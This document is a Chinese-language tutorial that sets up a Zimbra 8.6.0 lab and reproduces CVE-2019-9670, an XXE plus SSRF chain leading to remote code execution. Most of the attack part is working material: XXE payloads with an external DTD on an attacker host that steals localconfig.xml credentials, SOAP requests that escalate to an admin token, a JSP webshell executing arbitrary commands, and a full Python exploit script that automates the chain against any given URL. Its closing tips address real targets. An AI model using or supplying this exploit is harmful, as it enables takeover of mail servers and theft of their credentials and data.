zimbra RCE环境搭建到复现再到exp编写
字数 947 2025-08-19 12:40:57

Zimbra RCE漏洞环境搭建与利用全指南

环境搭建

系统准备

  1. 使用Ubuntu 14.04服务器
  2. 更新系统源并执行系统更新
  3. 安装必要依赖包:
    apt-get install libgmp10 libperl5.18 unzip pax sysstat sqlite3 dnsmasq wget
    

主机名和DNS配置

  1. 修改主机名:

    vi /etc/hostname
    

    设置为自己的域名,如:mail.test.com

  2. 修改hosts文件:

    vi /etc/hosts
    

    添加:

    192.168.37.137 mail.test.com mail
    
  3. 配置dnsmasq:

    vi /etc/dnsmasq.conf
    

    添加配置:

    server=192.168.37.137
    domain=test.com
    mx-host=test.com, mail.test.com, 5
    mx-host=mail.test.com, mail.test.com, 5
    listen-address=127.0.0.1
    

    完成后重启系统:sudo reboot

Zimbra安装

  1. 下载Zimbra 8.5.0或8.6.0版本:

    wget https://files.zimbra.com/downloads/8.6.0_GA/zcs-8.6.0_GA_1153.UBUNTU14_64.20141215151116.tgz
    
  2. 解压并安装:

    ./install
    

    安装过程中:

    • 遇到postfix报错可移除:apt-get remove postfix
    • 不需要zimbra-dnscache(已使用dnsmasq)
    • 提示配置MX记录时选择"no"
  3. 设置管理员密码(带星号为必填项)

  4. 许可证设置(可随意填写,如/etc/passwd

  5. 完成配置后应用更改

环境验证

  1. 切换至zimbra用户:

    su - zimbra
    
  2. 检查服务状态:

    zmcontrol status
    

    状态为"Running"表示正常

  3. 访问管理界面:https://IP:7071/zimbraAdmin/

漏洞复现(CVE-2019-9670 XXE+SSRF组合拳RCE)

第一步:验证XXE漏洞

发送POST请求到/Autodiscover/Autodiscover.xml

<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
  <Request>
    <EMailAddress>aaaaa</EMailAddress>
    <AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
  </Request>
</Autodiscover>

第二步:读取Zimbra配置文件

  1. 准备外部DTD文件(放置在公网服务器上):

    <!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % end "]]>">
    <!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
    
  2. 发送POST请求:

<!DOCTYPE Autodiscover [
  <!ENTITY % dtd SYSTEM "http://公网服务器/dtd">
  %dtd;
  %all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
  <Request>
    <EMailAddress>aaaaa</EMailAddress>
    <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
  </Request>
</Autodiscover>

第三步:获取低权限token

发送POST请求到/service/soap/service/admin/soap

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Header>
    <context xmlns="urn:zimbra">
      <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
    </context>
  </soap:Header>
  <soap:Body>
    <AuthRequest xmlns="urn:zimbraAccount">
      <account by="adminName">zimbra</account>
      <password>上一步得到密码</password>
    </AuthRequest>
  </soap:Body>
</soap:Envelope>

第四步:获取高权限token

  1. 通过SSRF漏洞访问admin接口:

    POST /service/proxy?target=https://127.0.0.1:7071/service/admin/soap
    

    或直接请求:

    POST /service/admin/soap
    
  2. 设置请求头:

    Host: [目标]:7071
    Cookie: ZM_ADMIN_AUTH_TOKEN=[低权限token]
    
  3. 发送相同Body内容,但修改AuthRequest的xmlns为urn:zimbraAdmin

第五步:上传Webshell

使用获取的admin_token上传文件:

import requests

file = {
    'filename1': (None, "whocare", None),
    'clientFile': ("sunian.jsp", r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>', "text/plain"),
    'requestId': (None, "12", None),
}

headers = {
    "Cookie": "ZM_ADMIN_AUTH_TOKEN=0_eb68a2a147c98c6d0c2257d7638c4f1256493b28_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313539323733343831303035313b61646d696e3d313a313b747970653d363a7a696d6272613b7469643d393a3433323433373532323b",
    "Host": "foo:7071"
}

r = requests.post("https://192.168.37.137:7071/service/extension/clientUploader/upload", files=file, headers=headers, verify=False)
print(r.text)

Webshell访问地址:https://目标IP:7071/downloads/sunian.jsp

EXP编写

完整Python利用脚本:

#coding=utf8
import requests
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

base_url = sys.argv[1]
base_url = base_url.rstrip("/")
filename = "sunian.jsp"
fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'

print(base_url)
dtd_url = "http://VPS-IP/exp.dtd"

xxe_data = r"""<!DOCTYPE Autodiscover [
  <!ENTITY % dtd SYSTEM "{dtd}">
  %dtd;
  %all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
  <Request>
    <EMailAddress>aaaaa</EMailAddress>
    <AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
  </Request>
</Autodiscover>""".format(dtd=dtd_url)

# XXE stage
headers = {"Content-Type": "application/xml"}
print("[*] Get User Name/Password By XXE ")
r = requests.post(base_url + "/Autodiscover/Autodiscover.xml", data=xxe_data, headers=headers, verify=False, timeout=15)

if 'response schema not available' not in r.text:
    print("don't have xxe")
    exit()

# low_token Stage
import re
pattern_name = re.compile(r"&lt;key name=(\"|&quot;)zimbra_user(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
pattern_password = re.compile(r"&lt;key name=(\"|&quot;)zimbra_ldap_password(\"|&quot;)&gt;\n.*?&lt;value&gt;(.*?)&lt;\/value&gt;")
username = pattern_name.findall(r.text)[0][2]
password = pattern_password.findall(r.text)[0][2]

auth_body = """<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
  <soap:Header>
    <context xmlns="urn:zimbra">
      <userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
    </context>
  </soap:Header>
  <soap:Body>
    <AuthRequest xmlns="{xmlns}">
      <account by="adminName">{username}</account>
      <password>{password}</password>
    </AuthRequest>
  </soap:Body>
</soap:Envelope>"""

r = requests.post(base_url + "/service/admin/soap", data=auth_body.format(xmlns="urn:zimbraAccount", username=username, password=password), verify=False)
pattern_auth_token = re.compile(r"<authToken>(.*?)</authToken>")
low_priv_token = pattern_auth_token.findall(r.text)[0]

# SSRF+Get Admin_Token Stage
headers["Cookie"] = "ZM_ADMIN_AUTH_TOKEN=" + low_priv_token + ";"
headers["Host"] = "foo:7071"

r = requests.post(base_url + "/service/admin/soap", data=auth_body.format(xmlns="urn:zimbraAdmin", username=username, password=password), headers=headers, verify=False)
admin_token = pattern_auth_token.findall(r.text)[0]

# Upload Webshell
f = {
    'filename1': (None, "whocare", None),
    'clientFile': (filename, fileContent, "text/plain"),
    'requestId': (None, "12", None),
}

headers = {
    "Cookie": "ZM_ADMIN_AUTH_TOKEN=" + admin_token
}

print("[*] 木马地址")
r = requests.post(base_url + "/service/extension/clientUploader/upload", files=f, headers=headers, verify=False)
print(base_url + "/downloads/" + filename)

print("[*] 管理员cookie")
print(headers['Cookie'])

注意事项

  1. 确保DTD文件放置在可公开访问的服务器上
  2. 上传Webshell时可能需要多次尝试
  3. 不同Zimbra版本可能存在差异,可能需要调整payload
  4. 实际利用时注意目标系统的防火墙和网络配置
Zimbra RCE漏洞环境搭建与利用全指南 环境搭建 系统准备 使用Ubuntu 14.04服务器 更新系统源并执行系统更新 安装必要依赖包: 主机名和DNS配置 修改主机名: 设置为自己的域名,如: mail.test.com 修改hosts文件: 添加: 配置dnsmasq: 添加配置: 完成后重启系统: sudo reboot Zimbra安装 下载Zimbra 8.5.0或8.6.0版本: 解压并安装: 安装过程中: 遇到postfix报错可移除: apt-get remove postfix 不需要zimbra-dnscache(已使用dnsmasq) 提示配置MX记录时选择"no" 设置管理员密码(带星号为必填项) 许可证设置(可随意填写,如 /etc/passwd ) 完成配置后应用更改 环境验证 切换至zimbra用户: 检查服务状态: 状态为"Running"表示正常 访问管理界面: https://IP:7071/zimbraAdmin/ 漏洞复现(CVE-2019-9670 XXE+SSRF组合拳RCE) 第一步:验证XXE漏洞 发送POST请求到 /Autodiscover/Autodiscover.xml : 第二步:读取Zimbra配置文件 准备外部DTD文件(放置在公网服务器上): 发送POST请求: 第三步:获取低权限token 发送POST请求到 /service/soap 或 /service/admin/soap : 第四步:获取高权限token 通过SSRF漏洞访问admin接口: 或直接请求: 设置请求头: 发送相同Body内容,但修改 AuthRequest 的xmlns为 urn:zimbraAdmin 第五步:上传Webshell 使用获取的admin_ token上传文件: Webshell访问地址: https://目标IP:7071/downloads/sunian.jsp EXP编写 完整Python利用脚本: 注意事项 确保DTD文件放置在可公开访问的服务器上 上传Webshell时可能需要多次尝试 不同Zimbra版本可能存在差异,可能需要调整payload 实际利用时注意目标系统的防火墙和网络配置